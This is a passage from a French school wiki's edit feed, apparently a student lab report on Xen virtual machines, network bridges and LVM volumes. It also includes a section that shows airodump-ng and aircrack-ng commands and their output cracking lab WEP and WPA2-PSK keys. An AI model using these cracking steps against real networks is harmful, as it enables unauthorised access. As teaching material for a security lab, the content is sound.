  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12369</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12369"/>
		<updated>2026-02-24T11:36:23Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Comment lire ça ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
=== Différence avec une machine physique ===&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Comment lire ça ? ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
